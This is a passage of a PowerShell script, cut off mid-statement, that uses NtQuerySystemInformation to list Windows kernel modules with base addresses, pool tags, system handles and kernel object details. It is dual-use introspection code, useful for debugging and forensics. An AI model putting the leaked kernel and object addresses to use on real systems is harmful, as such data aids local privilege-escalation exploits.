$ModuleBuilder.DefineEnum('GLOBAL_FLAGS', 'Public', [Int32]) - $EnumBuilder.DefineLiteral('FLG_DISABLE_DBGPRINT', [Int32] 0x08000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_KERNEL_STACK_TRACE_DB', [Int32] 0x00002000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_USER_STACK_TRACE_DB', [Int32] 0x00001000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_DEBUG_INITIAL_COMMAND', [Int32] 0x00000004) | Out-Null - $EnumBuilder.DefineLiteral('FLG_DEBUG_INITIAL_COMMAND_EX', [Int32] 0x04000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_DISABLE_COALESCING', [Int32] 0x00200000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_DISABLE_PAGE_KERNEL_STACKS', [Int32] 0x00080000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_DISABLE_PROTDLLS', [Int32] 0x80000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_DISABLE_STACK_EXTENSION', [Int32] 0x00010000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_CRITSEC_EVENT_CREATION', [Int32] 0x10000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_APPLICATION_VERIFIER', [Int32] 0x00000100) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_HANDLE_EXCEPTIONS', [Int32] 0x40000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_CLOSE_EXCEPTIONS', [Int32] 0x00400000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_CSRDEBUG', [Int32] 0x00020000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_EXCEPTION_LOGGING', [Int32] 0x00800000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_ENABLE_FREE_CHECK', [Int32] 0x00000020) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_VALIDATE_PARAMETERS', [Int32] 0x00000040) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_ENABLE_TAGGING', [Int32] 0x00000800) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_ENABLE_TAG_BY_DLL', [Int32] 0x00008000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_ENABLE_TAIL_CHECK', [Int32] 0x00000010) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_VALIDATE_ALL', [Int32] 0x00000080) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_KDEBUG_SYMBOL_LOAD', [Int32] 0x00040000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_HANDLE_TYPE_TAGGING', [Int32] 0x01000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_HEAP_PAGE_ALLOCS', [Int32] 0x02000000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_POOL_ENABLE_TAGGING', [Int32] 0x00000400) | Out-Null - $EnumBuilder.DefineLiteral('FLG_ENABLE_SYSTEM_CRIT_BREAKS', [Int32] 0x00100000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_MAINTAIN_OBJECT_TYPELIST', [Int32] 0x00004000) | Out-Null - $EnumBuilder.DefineLiteral('FLG_MONITOR_SILENT_PROCESS_EXIT', [Int32] 0x00000200) | Out-Null - $EnumBuilder.DefineLiteral('FLG_SHOW_LDR_SNAPS', [Int32] 0x00000002) | Out-Null - $EnumBuilder.DefineLiteral('FLG_STOP_ON_EXCEPTION', [Int32] 0x00000001) | Out-Null - $EnumBuilder.DefineLiteral('FLG_STOP_ON_HUNG_GUI', [Int32] 0x00000008) | Out-Null - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - $GFlagsEnum = $EnumBuilder.CreateType() - } -#endregion - -#region Define structs for each respective SYSTEM_INFORMATION_CLASS - if ([IntPtr]::Size -eq 8) - { - $Size_SYSTEM_MODULE = 296 - $Size_SYSTEM_POOL_TAG_INFORMATION = 40 - $Size_SYSTEM_HANDLE_INFORMATION = 24 - $Size_SYSTEM_OBJECTTYPE_INFORMATION = 64 - $Size_SYSTEM_OBJECT_INFORMATION = 80 - $Size_SYSTEM_LOCK_INFORMATION = 40 - } - else - { - $Size_SYSTEM_MODULE = 284 - $Size_SYSTEM_POOL_TAG_INFORMATION = 28 - $Size_SYSTEM_HANDLE_INFORMATION = 16 - $Size_SYSTEM_OBJECTTYPE_INFORMATION = 56 - $Size_SYSTEM_OBJECT_INFORMATION = 48 - $Size_SYSTEM_LOCK_INFORMATION = 36 - } - - try { $UnicodeStringClass = [_UNICODE_STRING] } catch [Management.Automation.RuntimeException] - { - $MarshalAsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($MarshalAsConstructor, @([Runtime.InteropServices.UnmanagedType]::LPWStr)) - - if ([IntPtr]::Size -eq 8) - { - $TypeBuilder = $ModuleBuilder.DefineType('_UNICODE_STRING', $StructAttributes, [ValueType], 2, 16) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - - $TypeBuilder.DefineField('Length', [UInt16], 'Public').SetOffset(0) - $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public').SetOffset(2) - $BufferField = $TypeBuilder.DefineField('Buffer', [String], 'Public, HasFieldMarshal') - $BufferField.SetCustomAttribute($MarshalAsCustomAttribute) - $BufferField.SetOffset(8) - } - else - { - $TypeBuilder = $ModuleBuilder.DefineType('_UNICODE_STRING', $StructAttributes, [ValueType], 2, 8) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - - $TypeBuilder.DefineField('Length', [UInt16], 'Public').SetOffset(0) - $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public').SetOffset(2) - $BufferField = $TypeBuilder.DefineField('Buffer', [String], 'Public, HasFieldMarshal') - $BufferField.SetCustomAttribute($MarshalAsCustomAttribute) - $BufferField.SetOffset(4) - } - - $UnicodeStringClass = $TypeBuilder.CreateType() - } - - try { $GenericMappingClass = [_GENERIC_MAPPING] } catch [Management.Automation.RuntimeException] - { - $TypeBuilder = $ModuleBuilder.DefineType('_GENERIC_MAPPING', $StructAttributes, [ValueType], 4, 16) - - $TypeBuilder.DefineField('GenericRead', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('GenericWrite', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('GenericExecute', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('GenericAll', [UInt32], 'Public') | Out-Null - - $GenericMappingClass = $TypeBuilder.CreateType() - } - - try { $HandleInfoClass = [_SYSTEM_HANDLE_INFORMATION] } catch [Management.Automation.RuntimeException] - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_HANDLE_INFORMATION', $StructAttributes, [ValueType], 1, $Size_SYSTEM_HANDLE_INFORMATION) - - $TypeBuilder.DefineField('UniqueProcessId', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('CreatorBackTraceIndex', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('ObjectTypeIndex', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('HandleAttribute', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('HandleValue', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Object', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('GrantedAccess', [UInt32], 'Public') | Out-Null - - $HandleInfoClass = $TypeBuilder.CreateType() - } - - try { $ModuleInfoClass = [_SYSTEM_MODULE] } catch [Management.Automation.RuntimeException] - { - $MarshalAsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($MarshalAsConstructor, @([Runtime.InteropServices.UnmanagedType]::ByValTStr), [Reflection.FieldInfo[]]@($SizeConst), @(256)) - - if ([IntPtr]::Size -eq 8) - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_MODULE', $StructAttributes, [ValueType], 1, $Size_SYSTEM_MODULE) - - $TypeBuilder.DefineField('Reserved1', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Reserved2', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageBaseAddress', [UInt64], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Flags', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Index', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Rank', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('LoadCount', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NameOffset', [UInt16], 'Public') | Out-Null - $NameField = $TypeBuilder.DefineField('Name', [String], 'Public, HasFieldMarshal') - } - else - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_MODULE', $StructAttributes, [ValueType], 1, $Size_SYSTEM_MODULE) - - $TypeBuilder.DefineField('Reserved1', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Reserved2', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageBaseAddress', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Flags', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Index', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Rank', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('LoadCount', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('NameOffset', [UInt16], 'Public') | Out-Null - $NameField = $TypeBuilder.DefineField('Name', [String], 'Public, HasFieldMarshal') - } - - $NameField.SetCustomAttribute($MarshalAsCustomAttribute) - $ModuleInfoClass = $TypeBuilder.CreateType() - } - - try { $LockInfoClass = [_SYSTEM_LOCK_INFORMATION] } catch [Management.Automation.RuntimeException] - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_LOCK_INFORMATION', $StructAttributes, [ValueType], 1, $Size_SYSTEM_LOCK_INFORMATION) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - - if ([IntPtr]::Size -eq 8) - { - $TypeBuilder.DefineField('Address', [IntPtr], 'Public').SetOffset(0) - $TypeBuilder.DefineField('Type', [UInt16], 'Public').SetOffset(8) - $TypeBuilder.DefineField('Reserved1', [UInt16], 'Public').SetOffset(10) - $TypeBuilder.DefineField('ExclusiveOwnerThreadId', [UInt32], 'Public').SetOffset(16) - $TypeBuilder.DefineField('ActiveCount', [UInt32], 'Public').SetOffset(24) - $TypeBuilder.DefineField('ContentionCount', [UInt32], 'Public').SetOffset(28) - $TypeBuilder.DefineField('Reserved2', [UInt32], 'Public').SetOffset(32) - $TypeBuilder.DefineField('Reserved3', [UInt32], 'Public').SetOffset(36) - $TypeBuilder.DefineField('NumberOfSharedWaiters', [UInt32], 'Public').SetOffset(40) - $TypeBuilder.DefineField('NumberOfExclusiveWaiters', [UInt32], 'Public').SetOffset(44) - } - else - { - $TypeBuilder.DefineField('Address', [IntPtr], 'Public').SetOffset(0) - $TypeBuilder.DefineField('Type', [UInt16], 'Public').SetOffset(4) - $TypeBuilder.DefineField('Reserved1', [UInt16], 'Public').SetOffset(6) - $TypeBuilder.DefineField('ExclusiveOwnerThreadId', [UInt32], 'Public').SetOffset(8) - $TypeBuilder.DefineField('ActiveCount', [UInt32], 'Public').SetOffset(12) - $TypeBuilder.DefineField('ContentionCount', [UInt32], 'Public').SetOffset(16) - $TypeBuilder.DefineField('Reserved2', [UInt32], 'Public').SetOffset(20) - $TypeBuilder.DefineField('Reserved3', [UInt32], 'Public').SetOffset(24) - $TypeBuilder.DefineField('NumberOfSharedWaiters', [UInt32], 'Public').SetOffset(28) - $TypeBuilder.DefineField('NumberOfExclusiveWaiters', [UInt32], 'Public').SetOffset(32) - } - - $LockInfoClass = $TypeBuilder.CreateType() - } - - try { $PoolTagInfoClass = [_SYSTEM_POOL_TAG_INFORMATION] } catch [Management.Automation.RuntimeException] - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_POOL_TAG_INFORMATION', $StructAttributes, [ValueType], 4, $Size_SYSTEM_POOL_TAG_INFORMATION) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - - if ([IntPtr]::Size -eq 8) - { - $TypeBuilder.DefineField('TagValue', [UInt32], 'Public, HasFieldMarshal').SetOffset(0) - $TypeBuilder.DefineField('PagedPoolAllocs', [UInt32], 'Public').SetOffset(4) - $TypeBuilder.DefineField('PagedPoolFrees', [UInt32], 'Public').SetOffset(8) - $TypeBuilder.DefineField('PagedPoolUsage', [UInt32], 'Public').SetOffset(16) - $TypeBuilder.DefineField('NonPagedPoolAllocs', [UInt32], 'Public').SetOffset(24) - $TypeBuilder.DefineField('NonPagedPoolFrees', [UInt32], 'Public').SetOffset(28) - $TypeBuilder.DefineField('NonPagedPoolUsage', [UInt32], 'Public').SetOffset(32) - } - else - { - $TypeBuilder.DefineField('TagValue', [UInt32], 'Public, HasFieldMarshal').SetOffset(0) - $TypeBuilder.DefineField('PagedPoolAllocs', [UInt32], 'Public').SetOffset(4) - $TypeBuilder.DefineField('PagedPoolFrees', [UInt32], 'Public').SetOffset(8) - $TypeBuilder.DefineField('PagedPoolUsage', [UInt32], 'Public').SetOffset(12) - $TypeBuilder.DefineField('NonPagedPoolAllocs', [UInt32], 'Public').SetOffset(16) - $TypeBuilder.DefineField('NonPagedPoolFrees', [UInt32], 'Public').SetOffset(20) - $TypeBuilder.DefineField('NonPagedPoolUsage', [UInt32], 'Public').SetOffset(24) - } - - $PoolTagInfoClass = $TypeBuilder.CreateType() - } - - try { $ObjectTypeClass = [_SYSTEM_OBJECTTYPE_INFORMATION] } catch [Management.Automation.RuntimeException] - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_OBJECTTYPE_INFORMATION', $StructAttributes, [ValueType], 1, $Size_SYSTEM_OBJECTTYPE_INFORMATION) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - - $TypeBuilder.DefineField('NextEntryOffset', [UInt32], 'Public').SetOffset(0x00) - $TypeBuilder.DefineField('NumberOfObjects', [UInt32], 'Public').SetOffset(0x04) - $TypeBuilder.DefineField('NumberOfHandles', [UInt32], 'Public').SetOffset(0x08) - $TypeBuilder.DefineField('TypeIndex', [UInt32], 'Public').SetOffset(0x0C) - $TypeBuilder.DefineField('InvalidAttributes', [UInt32], 'Public').SetOffset(0x10) - $TypeBuilder.DefineField('GenericMapping', $GenericMappingClass, 'Public').SetOffset(0x14) - $TypeBuilder.DefineField('ValidAccessMask', [UInt32], 'Public').SetOffset(0x24) - $TypeBuilder.DefineField('PoolType', $PoolType, 'Public').SetOffset(0x28) - $TypeBuilder.DefineField('SecurityRequired', [Byte], 'Public').SetOffset(0x2C) - $TypeBuilder.DefineField('WaitableObject', [Byte], 'Public').SetOffset(0x2D) - $TypeBuilder.DefineField('TypeName', $UnicodeStringClass, 'Public').SetOffset(0x30) - - $ObjectTypeClass = $TypeBuilder.CreateType() - } - - try { $ObjectTypeClass = [_SYSTEM_OBJECT_INFORMATION] } catch [Management.Automation.RuntimeException] - { - $TypeBuilder = $ModuleBuilder.DefineType('_SYSTEM_OBJECT_INFORMATION', $StructAttributes, [ValueType], 1, $Size_SYSTEM_OBJECT_INFORMATION) - $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute) - - if ([IntPtr]::Size -eq 8) - { - $TypeBuilder.DefineField('NextEntryOffset', [UInt32], 'Public').SetOffset(0x00) - $TypeBuilder.DefineField('Object', [IntPtr], 'Public').SetOffset(0x08) - $TypeBuilder.DefineField('CreatorUniqueProcess', [IntPtr], 'Public').SetOffset(0x10) - $TypeBuilder.DefineField('CreatorBackTraceIndex', [UInt16], 'Public').SetOffset(0x018) - $TypeBuilder.DefineField('Flags', [UInt16], 'Public').SetOffset(0x1A) - $TypeBuilder.DefineField('PointerCount', [Int32], 'Public').SetOffset(0x1C) - $TypeBuilder.DefineField('HandleCount', [Int32], 'Public').SetOffset(0x20) - $TypeBuilder.DefineField('PagedPoolCharge', [UInt32], 'Public').SetOffset(0x24) - $TypeBuilder.DefineField('NonPagedPoolCharge', [UInt32], 'Public').SetOffset(0x28) - $TypeBuilder.DefineField('ExclusiveProcessId', [IntPtr], 'Public').SetOffset(0x30) - $TypeBuilder.DefineField('SecurityDescriptor', [IntPtr], 'Public').SetOffset(0x38) - $TypeBuilder.DefineField('NameInfo', $UnicodeStringClass, 'Public').SetOffset(0x40) - } - else - { - $TypeBuilder.DefineField('NextEntryOffset', [UInt32], 'Public').SetOffset(0x00) - $TypeBuilder.DefineField('Object', [IntPtr], 'Public').SetOffset(0x04) - $TypeBuilder.DefineField('CreatorUniqueProcess', [IntPtr], 'Public').SetOffset(0x08) - $TypeBuilder.DefineField('CreatorBackTraceIndex', [UInt16], 'Public').SetOffset(0x0C) - $TypeBuilder.DefineField('Flags', [UInt16], 'Public').SetOffset(0x0E) - $TypeBuilder.DefineField('PointerCount', [Int32], 'Public').SetOffset(0x10) - $TypeBuilder.DefineField('HandleCount', [Int32], 'Public').SetOffset(0x14) - $TypeBuilder.DefineField('PagedPoolCharge', [UInt32], 'Public').SetOffset(0x18) - $TypeBuilder.DefineField('NonPagedPoolCharge', [UInt32], 'Public').SetOffset(0x1C) - $TypeBuilder.DefineField('ExclusiveProcessId', [IntPtr], 'Public').SetOffset(0x20) - $TypeBuilder.DefineField('SecurityDescriptor', [IntPtr], 'Public').SetOffset(0x24) - $TypeBuilder.DefineField('NameInfo', $UnicodeStringClass, 'Public').SetOffset(0x28) - } - - $ObjectClass = $TypeBuilder.CreateType() - } -#endregion - - # Local helper function for parsing structures returned by NtQuerySystemInformation that begin with a 'Count' field - function Local:Get-Struct($InformationClass, $StructType, $X86Size, $X64Size, $OffsetMultiplier, $ErrorText) - { - $TotalLength = 0 - $ReturnedLength = 0 - - if ([IntPtr]::Size -eq 8) - { - $StructSize = $X64Size - } - else - { - $StructSize = $X86Size - } - - if ((($ntdll::NtQuerySystemInformation($InformationClass, [IntPtr]::Zero, 0, [Ref] $TotalLength) -as $NtStatus) -ne $NtStatus::STATUS_INFO_LENGTH_MISMATCH) -and ($TotalLength -gt 0)) - { - Write-Error "Unable to obtain $($ErrorText) information." - return - } - - $PtrData = [Runtime.InteropServices.Marshal]::AllocHGlobal($TotalLength) - $ntdll::NtQuerySystemInformation($InformationClass, $PtrData, $TotalLength, [Ref] $ReturnedLength) | Out-Null - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData) - - $PtrData2 = [Runtime.InteropServices.Marshal]::AllocHGlobal($ReturnedLength) - - if (($ntdll::NtQuerySystemInformation($InformationClass, $PtrData2, $ReturnedLength, [Ref] 0) -as $NtStatus) -ne $NtStatus::STATUS_SUCCESS) - { - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData2) - Write-Error "Unable to obtain $($ErrorText) information." - return - } - - # Retrieve the structure count - $Count = [Runtime.InteropServices.Marshal]::ReadInt32($PtrData2) - - # Point to the first structure - $StructAddress = ([IntPtr]($PtrData2.ToInt64() + ([IntPtr]::Size * $OffsetMultiplier))) - - foreach ($i in 0..($Count-1)) - { - [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $StructType) - $StructAddress = ([IntPtr]($StructAddress.ToInt64() + $StructSize)) - } - - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData2) - } - -#region Main program logic - switch ($PsCmdlet.ParameterSetName) - { - 'ModuleInformation' { - $Arguments = @{ - InformationClass = $SystemInformationClass::SystemModuleInformation - StructType = $ModuleInfoClass - X86Size = 284 - X64Size = 296 - OffsetMultiplier = 2 - ErrorText = 'system module' - } - - Get-Struct @Arguments - } - - 'PoolTagInformation' { - $Arguments = @{ - InformationClass = $SystemInformationClass::SystemPoolTagInformation - StructType = $PoolTagInfoClass - X86Size = 28 - X64Size = 40 - OffsetMultiplier = 1 - ErrorText = 'system pool tag' - } - - Get-Struct @Arguments | % { - $Result = @{ - Tag = [Text.Encoding]::ASCII.GetString([BitConverter]::GetBytes($_.TagValue)) - PagedPoolAllocs = $_.PagedPoolAllocs - PagedPoolFrees = $_.PagedPoolFrees - PagedPoolUsage = $_.PagedPoolUsage - NonPagedPoolAllocs = $_.NonPagedPoolAllocs - NonPagedPoolFrees = $_.NonPagedPoolFrees - NonPagedPoolUsage = $_.NonPagedPoolUsage - } - - $PoolTag = New-Object PSObject -Property $Result - $PoolTag.PSObject.TypeNames.Insert(0, '_SYSTEM_POOL_TAG_INFORMATION') - - Write-Output $PoolTag - } - } - - 'HandleInformation' { - # Get OS version info. This will be used to resolve object type index values - $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version - $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)" - - # Type indexes differ according to OS. These values were obtained via some KD-fu - switch ($OSMajorMinor) - { - '6.2' # Windows 8 and Windows Server 2012 - { - $IndexTable = @{ - 0x02 = 'Type' - 0x03 = 'Directory' - 0x04 = 'SymbolicLink' - 0x05 = 'Token' - 0x06 = 'Job' - 0x07 = 'Process' - 0x08 = 'Thread' - 0x09 = 'UserApcReserve' - 0x0A = 'IoCompletionReserve' - 0x0B = 'DebugObject' - 0x0C = 'Event' - 0x0D = 'EventPair' - 0x0E = 'Mutant' - 0x0F = 'Callback' - 0x10 = 'Semaphore' - 0x11 = 'Timer' - 0x12 = 'IRTimer' - 0x13 = 'Profile' - 0x14 = 'KeyedEvent' - 0x15 = 'WindowStation' - 0x16 = 'Desktop' - 0x17 = 'CompositionSurface' - 0x18 = 'TpWorkerFactory' - 0x19 = 'Adapter' - 0x1A = 'Controller' - 0x1B = 'Device' - 0x1C = 'Driver' - 0x1D = 'IoCompletion' - 0x1E = 'WaitCompletionPacket' - 0x1F = 'File' - 0x20 = 'TmTm' - 0x21 = 'TmTx' - 0x22 = 'TmRm' - 0x23 = 'TmEn' - 0x24 = 'Section' - 0x25 = 'Session' - 0x26 = 'Key' - 0x27 = 'ALPC Port' - 0x28 = 'PowerRequest' - 0x29 = 'WmiGuid' - 0x2A = 'EtwRegistration' - 0x2B = 'EtwConsumer' - 0x2C = 'FilterConnectionPort' - 0x2D = 'FilterCommunicationPort' - 0x2E = 'PcwObject' - 0x2F = 'DxgkSharedResource' - 0x30 = 'DxgkSharedSyncObject' - } - } - - '6.1' # Windows 7 and Window Server 2008 R2 - { - $IndexTable = @{ - 0x02 = 'Type' - 0x03 = 'Directory' - 0x04 = 'SymbolicLink' - 0x05 = 'Token' - 0x06 = 'Job' - 0x07 = 'Process' - 0x08 = 'Thread' - 0x09 = 'UserApcReserve' - 0x0a = 'IoCompletionReserve' - 0x0b = 'DebugObject' - 0x0c = 'Event' - 0x0d = 'EventPair' - 0x0e = 'Mutant' - 0x0f = 'Callback' - 0x10 = 'Semaphore' - 0x11 = 'Timer' - 0x12 = 'Profile' - 0x13 = 'KeyedEvent' - 0x14 = 'WindowStation' - 0x15 = 'Desktop' - 0x16 = 'TpWorkerFactory' - 0x17 = 'Adapter' - 0x18 = 'Controller' - 0x19 = 'Device' - 0x1a = 'Driver' - 0x1b = 'IoCompletion' - 0x1c = 'File' - 0x1d = 'TmTm' - 0x1e = 'TmTx' - 0x1f = 'TmRm' - 0x20 = 'TmEn' - 0x21 = 'Section' - 0x22 = 'Session' - 0x23 = 'Key' - 0x24 = 'ALPC Port' - 0x25 = 'PowerRequest' - 0x26 = 'WmiGuid' - 0x27 = 'EtwRegistration' - 0x28 = 'EtwConsumer' - 0x29 = 'FilterConnectionPort' - 0x2a = 'FilterCommunicationPort' - 0x2b = 'PcwObject' - } - } - - '6.0' # Windows Vista and Windows Server 2008 - { - $IndexTable = @{ - 0x01 = 'Type' - 0x02 = 'Directory' - 0x03 = 'SymbolicLink' - 0x04 = 'Token' - 0x05 = 'Job' - 0x06 = 'Process' - 0x07 = 'Thread' - 0x08 = 'DebugObject' - 0x09 = 'Event' - 0x0a = 'EventPair' - 0x0b = 'Mutant' - 0x0c = 'Callback' - 0x0d = 'Semaphore' - 0x0e = 'Timer' - 0x0f = 'Profile' - 0x10 = 'KeyedEvent' - 0x11 = 'WindowStation' - 0x12 = 'Desktop' - 0x13 = 'TpWorkerFactory' - 0x14 = 'Adapter' - 0x15 = 'Controller' - 0x16 = 'Device' - 0x17 = 'Driver' - 0x18 = 'IoCompletion' - 0x19 = 'File' - 0x1a = 'TmTm' - 0x1b = 'TmTx' - 0x1c = 'TmRm' - 0x1d = 'TmEn' - 0x1e = 'Section' - 0x1f = 'Session' - 0x20 = 'Key' - 0x21 = 'ALPC Port' - 0x22 = 'WmiGuid' - 0x23 = 'EtwRegistration' - 0x24 = 'FilterConnectionPort' - 0x25 = 'FilterCommunicationPort' - } - } - - '5.1' # Windows XP - { - $IndexTable = @{ - 0x01 = 'Type' - 0x02 = 'Directory' - 0x03 = 'SymbolicLink' - 0x04 = 'Token' - 0x05 = 'Process' - 0x06 = 'Thread' - 0x07 = 'Job' - 0x08 = 'DebugObject' - 0x09 = 'Event' - 0x0a = 'EventPair' - 0x0b = 'Mutant' - 0x0c = 'Callback' - 0x0d = 'Semaphore' - 0x0e = 'Timer' - 0x0f = 'Profile' - 0x10 = 'KeyedEvent' - 0x11 = 'WindowStation' - 0x12 = 'Desktop' - 0x13 = 'Section' - 0x14 = 'Key' - 0x15 = 'Port' - 0x16 = 'WaitablePort' - 0x17 = 'Adapter' - 0x18 = 'Controller' - 0x19 = 'Device' - 0x1a = 'Driver' - 0x1b = 'IoCompletion' - 0x1c = 'File' - 0x1d = 'WmiGuid' - 0x1e = 'FilterConnectionPort' - 0x1f = 'FilterCommunicationPort' - } - } - - default # I didn't feel like resolving the values for Server 2003 - { - $IndexTable = @{} - } - } - - $Arguments = @{ - InformationClass = $SystemInformationClass::SystemHandleInformation - StructType = $HandleInfoClass - X86Size = 16 - X64Size = 24 - OffsetMultiplier = 1 - ErrorText = 'system handle' - } - - Get-Struct @Arguments | % { - $Handle = $_.HandleAttribute -as $HandleFlags - if ($Handle -eq 0) {$HandleValue = $null} else {$HandleValue = $Handle} - - $Access = ( ($_.GrantedAccess -band 0xFFFF0000) -as $AccessMask ) - if ($Access -eq 0) {$AccessValue = $null} else {$AccessValue = $Access} - - $Result = @{ - UniqueProcessId = $_.UniqueProcessId - CreatorBackTraceIndex = $_.CreatorBackTraceIndex - ObjectTypeIndex = $_.ObjectTypeIndex - ObjectType = $IndexTable[([Int32]$_.ObjectTypeIndex)] - HandleAttribute = $HandleValue - HandleValue = $_.HandleValue - Object = $_.Object - GrantedAccess = $AccessValue - } - - $Handle = New-Object PSObject -Property $Result - $Handle.PSObject.TypeNames.Insert(0, '_SYSTEM_HANDLE_INFORMATION') - - if ($PSBoundParameters['ObjectType']) - { - if ($Result['ObjectType'] -eq $ObjectType) - { - Write-Output $Handle - } - } - else - { - Write-Output $Handle - } - } - } - - 'ObjectInformation' { - # Get system global flags first to ensure the correct flags are set - $Flags = Get-NtSystemInformation -GlobalFlags - - $RequiredFlags = [GLOBAL_FLAGS] 'FLG_MAINTAIN_OBJECT_TYPELIST, FLG_ENABLE_HANDLE_TYPE_TAGGING' - - if (($Flags -band $RequiredFlags) -ne $RequiredFlags) - { - Write-Error 'Global flags FLG_MAINTAIN_OBJECT_TYPELIST and FLG_ENABLE_HANDLE_TYPE_TAGGING have not been set. They must be set in gflags.exe (i.e. `gflags.exe -r +otl +eot`) or in the registry.' - return - } - - Write-Warning 'It can take over a minute to return object information. Please be patient.' - - $TotalLength = 1 - $ReturnedLength = 0 - $PtrData = [Runtime.InteropServices.Marshal]::AllocHGlobal($TotalLength) - - while ((($ntdll::NtQuerySystemInformation($SystemInformationClass::SystemObjectInformation, $PtrData, $TotalLength, [Ref] $ReturnedLength) -as [NTSTATUS]) -eq [NTSTATUS]::STATUS_INFO_LENGTH_MISMATCH)) - { - if ($TotalLength -ne $ReturnedLength) - { - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData) - $TotalLength = $ReturnedLength - $PtrData = [Runtime.InteropServices.Marshal]::AllocHGlobal($TotalLength) - } - } - - $NextTypeOffset = 0 - - do - { - # Base address of the _SYSTEM_OBJECTTYPE_INFORMATION struct - $ObjectTypeAbsoluteAddress = [IntPtr]($PtrData.ToInt64() + $NextTypeOffset) - - $Result = [Runtime.InteropServices.Marshal]::PtrToStructure($ObjectTypeAbsoluteAddress, [Type] $ObjectTypeClass) - - if ($Result.NumberOfObjects -gt 0) - { - # Calculate the offset to the first _SYSTEM_OBJECT_INFORMATION structure - $NextObjectOffset = $Size_SYSTEM_OBJECTTYPE_INFORMATION + $Result.TypeName.MaximumLength - $ObjectBaseAddr = $ObjectTypeAbsoluteAddress - - $ObjectArray = @() - - do - { - $ObjectResult = [Runtime.InteropServices.Marshal]::PtrToStructure(( [IntPtr]($ObjectBaseAddr.ToInt64() + $NextObjectOffset) ), [Type] $ObjectClass) - - $ResultHashTable2 = @{ - Object = $ObjectResult.Object - CreatorUniqueProcess = $ObjectResult.CreatorUniqueProcess - CreatorBackTraceIndex = $ObjectResult.CreatorBackTraceIndex - Flags = ($ObjectResult.Flags -as $ObjectFlags) - PointerCount = $ObjectResult.PointerCount - HandleCount = $ObjectResult.HandleCount - PagedPoolCharge = $ObjectResult.PagedPoolCharge - NonPagedPoolCharge = $ObjectResult.NonPagedPoolCharge - ExclusiveProcessId = $ObjectResult.ExclusiveProcessId - SecurityDescriptor = $ObjectResult.SecurityDescriptor - NameInfo = $ObjectResult.NameInfo.Buffer - } - - $Object = New-Object PSObject -Property $ResultHashTable2 - $Object.PSObject.TypeNames.Insert(0, '_SYSTEM_OBJECT_INFORMATION') - - $ObjectArray += $Object - - $NextObjectOffset = 